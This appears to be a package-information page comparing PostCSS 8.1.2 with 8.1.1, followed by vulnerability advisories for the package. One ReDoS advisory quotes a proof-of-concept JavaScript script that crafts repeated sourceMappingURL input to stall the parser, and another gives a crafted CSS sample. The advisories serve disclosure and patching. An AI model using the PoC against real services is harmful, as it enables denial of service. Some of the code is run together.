PostCSS version 8.1.2 represents a minor upgrade over its predecessor, 8.1.1, within the widely adopted PostCSS ecosystem, a powerful tool for transforming CSS with JavaScript plugins. Both versions, licensed under the MIT license, retain the core functionality that allows developers to manipulate CSS in diverse ways, from linting and optimization to adding future CSS syntax support. The dependency structure remains consistent, relying on nanoid, colorette, source-map, and line-column for internal operations, indicating stability in the core modules driving PostCSS.
The key distinguishing factor is the release date and potentially subtle internal adjustments. Version 8.1.2 was released on October 19, 2020, a few weeks after 8.1.1 that was released in September 28, 2020. Given the identical dependency list and file count, the changes likely involve bug fixes, performance enhancements, or minor feature tweaks that didn't necessitate a major or even minor version bump. The unpacked size of 8.1.2 is slightly bigger, it hints at small changes in code or resources.
For developers considering an upgrade, version 8.1.2 offers the assurance of the latest refinements and potential stability improvements within the 8.1.x series. While the core functionality remains unchanged, adopting the newest version typically brings benefits in terms of reliability and potential performance gains. Developers already using 8.1.1 likely find the upgrade seamless, while new adopters benefit from the improved stability that newer versions offer. Both versions are backed by the same author and funding via OpenCollective.
All the vulnerabilities related to the version 8.1.2 of the package
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.